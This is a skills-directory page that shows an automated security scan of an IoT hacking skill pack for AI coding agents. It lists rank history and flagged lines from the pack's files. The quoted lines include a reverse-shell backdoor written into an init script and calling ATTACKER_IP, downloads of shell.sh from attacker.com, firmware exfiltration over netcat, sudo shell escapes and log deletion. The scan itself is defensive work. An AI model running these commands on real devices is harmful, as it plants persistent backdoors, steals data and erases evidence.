- #700 on Sep 1
- #691 on Sep 2
- #696 on Sep 3
- #674 on Sep 4
- #665 on Sep 5
- #683 on Sep 6
- #698 on Sep 7
- #723 on Sep 8
- #718 on Sep 10
- #701 on Sep 12
- #716 on Sep 15
- #725 on Sep 16
- #731 on Sep 17
- #687 on Sep 19
- #724 on Sep 21
- #737 on Sep 23
- #692 on Sep 26
- #756 on Sep 30
- #709 on Oct 3
- #745 on Oct 5
- #809 on Oct 8
- #783 on Oct 12
- #792 on Oct 13
- #804 on Oct 14
- #793 on Oct 15
- #778 on Oct 17
- #830 on Oct 21
- #810 on Oct 22
- #776 on Oct 24
- #950 on Oct 25
- #962 on Oct 28
- #963 on Oct 29
- #966 on Oct 30
- #970 on Oct 31
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 4, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 304 notes
skills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/apktool/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- No broad tool permissions
- 90 dangerous shell commandsin 10 files: skills/nmap/SKILL.md:31 skills/picocom/OBSERVING_SESSIONS.md:81 skills/picocom/examples.md:174 and 7 more
- 109 network referencesin 7 files: skills/picocom/SKILL.md:128 skills/telnetshell/SKILL.md:67 skills/telnetshell/examples.md:223 and 4 more
- 2 obfuscation signalsin 1 file: skills/chipsec/SKILL.md:444
- No instruction overrides
- 7 executable scriptsin 4 files: skills/logicmso/analyze_protocol.py:1 skills/picocom/serial_helper.py:1 skills/telnetshell/telnet_helper.py:1 and 1 more
- 11 references to secretsin 4 files: skills/jadx/SKILL.md:160 skills/picocom/examples.md:406 skills/telnetshell/examples.md:262 and 1 more
- No requests to vote in Hot
Show all 219 signals by file
.claude-plugin/plugin.json
- Network accessline 6
"name": "BrownFineSecurity" }, "homepage": "https://github.com/BrownFineSecurity/iothackbot", - Network accessline 7
}, "homepage": "https://github.com/BrownFineSecurity/iothackbot", "repository": "https://github.com/BrownFineSecurity/iothackbot", - Network accessline 8
"homepage": "https://github.com/BrownFineSecurity/iothackbot", - Network accessline 9
"repository": "https://github.com/BrownFineSecurity/iothackbot",
bin/ffind
- Executable scriptline 1
#!/usr/bin/python
skills/apktool/SKILL.md
- Access to secretsline 233
[Credential-related source omitted] - Network accessline 322
1. **APK → Network Analysis**: - Extract API endpoints from resources - Use extracted URLs with curl/wget for testing - Network accessline 323
- Extract API endpoints from resources - Use extracted URLs with curl/wget for testing - Feed endpoints to network testing tools - Network accessline 324
- Use extracted URLs with curl/wget for testing
skills/chipsec/SKILL.md
- Dangerous shell operationline 29
sudo mkdir -p "$CHIPSEC_DIR/logs" - Dangerous shell operationline 29
sudo mkdir -p "$CHIPSEC_DIR/logs" - Dangerous shell operationline 30
sudo chmod 777 "$CHIPSEC_DIR/logs" - Dangerous shell operationline 30
sudo chmod 777 "$CHIPSEC_DIR/logs" - Dangerous shell operationline 385
sudo mkdir -p "$CHIPSEC_DIR/logs" - Dangerous shell operationline 385
sudo mkdir -p "$CHIPSEC_DIR/logs" - Dangerous shell operationline 386
sudo chmod 777 "$CHIPSEC_DIR/logs" - Dangerous shell operationline 386
sudo chmod 777 "$CHIPSEC_DIR/logs" - Possible obfuscationline 444
binwalk -R "\x06\x00\x00\x00" firmware.bin - Possible obfuscationline 444
binwalk -R "\x06\x00\x00\x00" firmware.bin
skills/ffind/SKILL.md
- Dangerous shell operationline 39
- Requires sudo privileges for extraction - Dangerous shell operationline 39
- Requires sudo privileges for extraction - Dangerous shell operationline 51
sudo ffind /path/to/firmware.bin -e - Dangerous shell operationline 51
sudo ffind /path/to/firmware.bin -e - Dangerous shell operationline 61
sudo ffind /path/to/firmware.bin -e -d /tmp/my-extraction - Dangerous shell operationline 61
sudo ffind /path/to/firmware.bin -e -d /tmp/my-extraction - Dangerous shell operationline 67
- Extraction requires root/sudo privileges - Dangerous shell operationline 67
- Extraction requires root/sudo privileges
skills/iotnet/SKILL.md
- Dangerous shell operationline 48
sudo iotnet -i eth0 -d 30 - Dangerous shell operationline 48
sudo iotnet -i eth0 -d 30 - Dangerous shell operationline 82
sudo iotnet -i wlan0 -d 60 - Dangerous shell operationline 82
sudo iotnet -i wlan0 -d 60 - Dangerous shell operationline 92
sudo iotnet -i eth0 -c "port 1883 or port 5683" -d 45 - Dangerous shell operationline 92
sudo iotnet -i eth0 -c "port 1883 or port 5683" -d 45 - Dangerous shell operationline 138
- Live capture requires root/sudo privileges - Dangerous shell operationline 138
- Live capture requires root/sudo privileges
skills/jadx/SKILL.md
- Access to secretsline 160
[Credential-related source omitted] - Access to secretsline 160
[Credential-related source omitted] - Access to secretsline 310
[Credential-related source omitted] - Access to secretsline 310
[Credential-related source omitted] - Access to secretsline 311
[Credential-related source omitted] - Access to secretsline 311
[Credential-related source omitted]
skills/logicmso/analyze_protocol.py
skills/nmap/SKILL.md
- Dangerous shell operationline 31
sudo nmap -p- <target> -oA <output-dir>/nmap-portscan - Dangerous shell operationline 31
sudo nmap -p- <target> -oA <output-dir>/nmap-portscan - Dangerous shell operationline 41
sudo nmap -p- -Pn <target> -oA <output-dir>/nmap-portscan - Dangerous shell operationline 41
sudo nmap -p- -Pn <target> -oA <output-dir>/nmap-portscan - Dangerous shell operationline 88
sudo nmap -p- <target> -oA "$OUTPUT_DIR/nmap-portscan" - Dangerous shell operationline 88
sudo nmap -p- <target> -oA "$OUTPUT_DIR/nmap-portscan" - Dangerous shell operationline 95
sudo nmap -p- -Pn <target> -oA "$OUTPUT_DIR/nmap-portscan" - Dangerous shell operationline 95
sudo nmap -p- -Pn <target> -oA "$OUTPUT_DIR/nmap-portscan" - Dangerous shell operationline 144
sudo nmap -sS -sV -sC <target> -oA <output-prefix> - Dangerous shell operationline 144
sudo nmap -sS -sV -sC <target> -oA <output-prefix> - Dangerous shell operationline 153
sudo nmap -sU --top-ports 100 <target> -oA <output-prefix> - Dangerous shell operationline 153
sudo nmap -sU --top-ports 100 <target> -oA <output-prefix> - Dangerous shell operationline 182
sudo nmap -O <target> -oA <output-prefix> - Dangerous shell operationline 182
sudo nmap -O <target> -oA <output-prefix> - Dangerous shell operationline 250
- Phase 1 Port Discovery (sudo nmap -p-): 180-300 seconds timeout (3-5 minutes) - Dangerous shell operationline 250
- Phase 1 Port Discovery (sudo nmap -p-): 180-300 seconds timeout (3-5 minutes) - Dangerous shell operationline 450
sudo nmap <options> <target> - Dangerous shell operationline 450
sudo nmap <options> <target> - Dangerous shell operationline 462
sudo nmap -p- $TARGET -oA "$OUTPUT_DIR/nmap-portscan" - Dangerous shell operationline 462
sudo nmap -p- $TARGET -oA "$OUTPUT_DIR/nmap-portscan" - Dangerous shell operationline 466
sudo nmap -p- -Pn $TARGET -oA "$OUTPUT_DIR/nmap-portscan" - Dangerous shell operationline 466
sudo nmap -p- -Pn $TARGET -oA "$OUTPUT_DIR/nmap-portscan" - Dangerous shell operationline 498
sudo nmap -sU --top-ports 100 <target> -oA "$OUTPUT_DIR/nmap-udp" - Dangerous shell operationline 498
sudo nmap -sU --top-ports 100 <target> -oA "$OUTPUT_DIR/nmap-udp" - Dangerous shell operationline 501
sudo nmap -O <target> -oA "$OUTPUT_DIR/nmap-os" - Dangerous shell operationline 501
sudo nmap -O <target> -oA "$OUTPUT_DIR/nmap-os"
skills/onvifscan/SKILL.md
- Network accessline 38
onvifscan auth http://192.168.1.100 - Network accessline 38
onvifscan auth http://192.168.1.100 - Network accessline 49
onvifscan brute http://192.168.1.100 - Network accessline 49
onvifscan brute http://192.168.1.100 - Network accessline 66
onvifscan auth http://192.168.1.100:8080 -v - Network accessline 66
onvifscan auth http://192.168.1.100:8080 -v - Network accessline 76
- URLs can omit `http://` - it will be added automatically - Network accessline 76
- URLs can omit `http://` - it will be added automatically
skills/picocom/OBSERVING_SESSIONS.md
- Dangerous shell operationline 81
sudo socat -d -d \ - Dangerous shell operationline 81
sudo socat -d -d \ - Dangerous shell operationline 90
sudo socat /dev/ttyUSB0,raw,echo=0,b115200 /tmp/vserial0 - Dangerous shell operationline 90
sudo socat /dev/ttyUSB0,raw,echo=0,b115200 /tmp/vserial0 - Dangerous shell operationline 117
❌ Requires root/sudo for some operations - Dangerous shell operationline 117
❌ Requires root/sudo for some operations - Dangerous shell operationline 289
sudo usermod -a -G dialout $USER - Dangerous shell operationline 289
sudo usermod -a -G dialout $USER - Dangerous shell operationline 301
sudo fuser -k /dev/ttyUSB0 - Dangerous shell operationline 301
sudo fuser -k /dev/ttyUSB0
skills/picocom/SKILL.md
- Dangerous shell operationline 13
- Python 3 with pyserial library (`sudo pacman -S python-pyserial` on Arch, or `pip install pyserial`) - Dangerous shell operationline 13
- Python 3 with pyserial library (`sudo pacman -S python-pyserial` on Arch, or `pip install pyserial`) - Network accessline 128
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --monitor --duration 60 --trigger-script "curl http://192.168.1.100/api/reboot" - Network accessline 128
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --monitor --duration 60 --trigger-script "curl http://192.168.1.100/api/reboot" - Network accessline 130
--monitor \ --duration 60 \ --trigger-script "curl http://192.168.1.100/api/reboot" \ - Network accessline 130
--monitor \ --duration 60 \ --trigger-script "curl http://192.168.1.100/api/reboot" \ - Network accessline 131
--duration 60 \ --trigger-script "curl http://192.168.1.100/api/reboot" \ --trigger-delay 15 \ - Network accessline 131
--duration 60 \ --trigger-script "curl http://192.168.1.100/api/reboot" \ --trigger-delay 15 \ - Network accessline 132
--trigger-script "curl http://192.168.1.100/api/reboot" \ - Network accessline 132
--trigger-script "curl http://192.168.1.100/api/reboot" \ - Network accessline 362
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --monitor --duration 30 --trigger-script "curl -X POST http://192.168.1.100/api/update" - Network accessline 362
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --monitor --duration 30 --trigger-script "curl -X POST http://192.168.1.100/api/update" - Network accessline 364
--monitor \ --duration 30 \ --trigger-script "curl -X POST http://192.168.1.100/api/update" \ - Network accessline 364
--monitor \ --duration 30 \ --trigger-script "curl -X POST http://192.168.1.100/api/update" \ - Network accessline 365
--duration 30 \ --trigger-script "curl -X POST http://192.168.1.100/api/update" \ --trigger-delay 5 \ - Network accessline 365
--duration 30 \ --trigger-script "curl -X POST http://192.168.1.100/api/update" \ --trigger-delay 5 \ - Network accessline 366
--trigger-script "curl -X POST http://192.168.1.100/api/update" \ - Network accessline 366
--trigger-script "curl -X POST http://192.168.1.100/api/update" \ - Network accessline 391
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --monitor --duration 120 --trigger-script "curl http://192.168.1.100/api/reboot" - Network accessline 391
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --monitor --duration 120 --trigger-script "curl http://192.168.1.100/api/reboot" - Network accessline 393
--monitor \ --duration 120 \ --trigger-script "curl http://192.168.1.100/api/reboot" \ - Network accessline 393
--monitor \ --duration 120 \ --trigger-script "curl http://192.168.1.100/api/reboot" \ - Network accessline 394
--duration 120 \ --trigger-script "curl http://192.168.1.100/api/reboot" \ --trigger-delay 5 \ - Network accessline 394
--duration 120 \ --trigger-script "curl http://192.168.1.100/api/reboot" \ --trigger-delay 5 \ - Network accessline 395
--trigger-script "curl http://192.168.1.100/api/reboot" \ - Network accessline 395
--trigger-script "curl http://192.168.1.100/api/reboot" \ - Network accessline 531
# Network utilities often available nc -l -p 4444 # Netcat listener - Network accessline 531
# Network utilities often available nc -l -p 4444 # Netcat listener - Network accessline 532
nc -l -p 4444 # Netcat listener - Network accessline 532
nc -l -p 4444 # Netcat listener - Network accessline 533
wget http://attacker.com/shell.sh - Network accessline 533
wget http://attacker.com/shell.sh - Network accessline 541
**Reference Documentation:** - [BusyBox Official Site](https://busybox.net/) - Network accessline 541
**Reference Documentation:** - [BusyBox Official Site](https://busybox.net/) - Network accessline 542
- [BusyBox Official Site](https://busybox.net/) - Network accessline 542
- [BusyBox Official Site](https://busybox.net/) - Network accessline 543
- [BusyBox Command List](https://busybox.net/downloads/BusyBox.html) - Network accessline 543
- [BusyBox Command List](https://busybox.net/downloads/BusyBox.html) - Network accessline 544
- [BusyBox Source Code](https://git.busybox.net/busybox/) - Network accessline 544
- [BusyBox Source Code](https://git.busybox.net/busybox/) - Dangerous shell operationline 629
sudo -l - Dangerous shell operationline 629
sudo -l - Network accessline 774
# Copy to external storage or network # If network is available: nc attacker_ip 4444 < /tmp/rootfs.bin - Network accessline 774
# Copy to external storage or network # If network is available: nc attacker_ip 4444 < /tmp/rootfs.bin - Network accessline 776
nc attacker_ip 4444 < /tmp/rootfs.bin - Network accessline 776
nc attacker_ip 4444 < /tmp/rootfs.bin - Dangerous shell operationline 870
- Solution: Close other programs using the serial port, check user permissions (`sudo usermod -a -G dialout $USER`) - Dangerous shell operationline 870
- Solution: Close other programs using the serial port, check user permissions (`sudo usermod -a -G dialout $USER`) - Network accessline 897
- [picocom documentation](https://github.com/npat-efault/picocom) - Network accessline 897
- [picocom documentation](https://github.com/npat-efault/picocom) - Network accessline 898
- [U-Boot documentation](https://u-boot.readthedocs.io/) - Network accessline 898
- [U-Boot documentation](https://u-boot.readthedocs.io/)
skills/picocom/examples.md
- Dangerous shell operationline 174
**Check sudo permissions**: - Dangerous shell operationline 174
**Check sudo permissions**: - Dangerous shell operationline 176
sudo -l - Dangerous shell operationline 176
sudo -l - Dangerous shell operationline 179
# Example: sudo vim -> :!/bin/sh - Dangerous shell operationline 179
# Example: sudo vim -> :!/bin/sh - Dangerous shell operationline 180
# Example: sudo find -> sudo find . -exec /bin/sh \; - Dangerous shell operationline 180
# Example: sudo find -> sudo find . -exec /bin/sh \; - Network accessline 227
# Transfer via netcat nc 192.168.1.100 4444 < /tmp/rootfs.bin - Network accessline 227
# Transfer via netcat nc 192.168.1.100 4444 < /tmp/rootfs.bin - Network accessline 228
nc 192.168.1.100 4444 < /tmp/rootfs.bin - Network accessline 228
nc 192.168.1.100 4444 < /tmp/rootfs.bin - Network accessline 229
# (On attacker machine: nc -l -p 4444 > rootfs.bin) - Network accessline 229
# (On attacker machine: nc -l -p 4444 > rootfs.bin) - Network accessline 293
echo 'while true; do' >> /etc/init.d/S99backdoor echo ' sleep 300' >> /etc/init.d/S99backdoor echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor - Network accessline 293
echo 'while true; do' >> /etc/init.d/S99backdoor echo ' sleep 300' >> /etc/init.d/S99backdoor echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor - Network accessline 294
echo ' sleep 300' >> /etc/init.d/S99backdoor echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor echo 'done &' >> /etc/init.d/S99backdoor - Network accessline 294
echo ' sleep 300' >> /etc/init.d/S99backdoor echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor echo 'done &' >> /etc/init.d/S99backdoor - Dangerous shell operationline 295
echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor - Dangerous shell operationline 295
echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor - Network accessline 295
echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor - Network accessline 295
echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor - Access to secretsline 406
[Credential-related source omitted] - Access to secretsline 406
[Credential-related source omitted]
skills/picocom/serial_helper.py
skills/telnetshell/SKILL.md
- Dangerous shell operationline 12
- Python 3 with pexpect library (`pip install pexpect` or `sudo pacman -S python-pexpect`) - Dangerous shell operationline 12
- Python 3 with pexpect library (`pip install pexpect` or `sudo pacman -S python-pexpect`) - Dangerous shell operationline 13
- telnet client installed on the system (`sudo pacman -S inetutils` on Arch) - Dangerous shell operationline 13
- telnet client installed on the system (`sudo pacman -S inetutils` on Arch) - Network accessline 67
# Create a file with commands (one per line) echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt - Network accessline 67
# Create a file with commands (one per line) echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt - Network accessline 68
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt - Network accessline 68
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt - Network accessline 242
# Network utilities often available nc -l -p 4444 # Netcat listener - Network accessline 242
# Network utilities often available nc -l -p 4444 # Netcat listener - Network accessline 243
nc -l -p 4444 # Netcat listener - Network accessline 243
nc -l -p 4444 # Netcat listener - Network accessline 244
wget http://attacker.com/shell.sh - Network accessline 244
wget http://attacker.com/shell.sh - Dangerous shell operationline 300
sudo -l - Dangerous shell operationline 300
sudo -l - Network accessline 399
# Copy to external storage or network # If network is available: nc attacker_ip 4444 < /tmp/rootfs.bin - Network accessline 399
# Copy to external storage or network # If network is available: nc attacker_ip 4444 < /tmp/rootfs.bin - Network accessline 401
nc attacker_ip 4444 < /tmp/rootfs.bin - Network accessline 401
nc attacker_ip 4444 < /tmp/rootfs.bin - Network accessline 404
cd /tmp busybox httpd -p 8000 # Then download from http://device_ip:8000/rootfs.bin - Network accessline 404
cd /tmp busybox httpd -p 8000 # Then download from http://device_ip:8000/rootfs.bin - Network accessline 406
# Then download from http://device_ip:8000/rootfs.bin - Network accessline 406
# Then download from http://device_ip:8000/rootfs.bin - Network accessline 537
- [BusyBox Official Site](https://busybox.net/) - Network accessline 537
- [BusyBox Official Site](https://busybox.net/) - Network accessline 538
- [BusyBox Command List](https://busybox.net/downloads/BusyBox.html) - Network accessline 538
- [BusyBox Command List](https://busybox.net/downloads/BusyBox.html)
skills/telnetshell/enum_security.txt
skills/telnetshell/examples.md
- Network accessline 223
# On attacker machine: Set up listener nc -lvp 4444 > firmware.bin - Network accessline 223
# On attacker machine: Set up listener nc -lvp 4444 > firmware.bin - Network accessline 224
nc -lvp 4444 > firmware.bin - Network accessline 224
nc -lvp 4444 > firmware.bin - Network accessline 227
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --timeout 30 --command "dd if=/dev/mtd2 | nc 192.168.1.50 4444" - Network accessline 227
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --timeout 30 --command "dd if=/dev/mtd2 | nc 192.168.1.50 4444" - Network accessline 229
--port 2222 \ --timeout 30 \ --command "dd if=/dev/mtd2 | nc 192.168.1.50 4444" - Network accessline 229
--port 2222 \ --timeout 30 \ --command "dd if=/dev/mtd2 | nc 192.168.1.50 4444" - Network accessline 231
--command "dd if=/dev/mtd2 | nc 192.168.1.50 4444" - Network accessline 231
--command "dd if=/dev/mtd2 | nc 192.168.1.50 4444" - Network accessline 243
# Then download from your machine: # wget http://192.168.1.100:8000/mtd2ro - Network accessline 243
# Then download from your machine: # wget http://192.168.1.100:8000/mtd2ro - Network accessline 244
# wget http://192.168.1.100:8000/mtd2ro - Network accessline 244
# wget http://192.168.1.100:8000/mtd2ro - Access to secretsline 262
[Credential-related source omitted] - Access to secretsline 262
[Credential-related source omitted] - Dangerous shell operationline 385
rm -f /tmp/* - Dangerous shell operationline 385
rm -f /tmp/* - Dangerous shell operationline 386
rm -f /var/log/* - Dangerous shell operationline 386
rm -f /var/log/*
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
No combined signals at this commit.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Native | Manifest .claude-plugin/marketplace.json | .claude/skills/<skill-name>/ |
| Codex | Compatible | Standard SKILL.md skills/apktool/SKILL.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md skills/apktool/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md skills/apktool/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md skills/apktool/SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md skills/apktool/SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.
Explore alternatives and comparisons
Add this badge to your README
It updates every night and links to this page.
[](https://hotskills.dev/skill/brownfinesecurity-iothackbot/)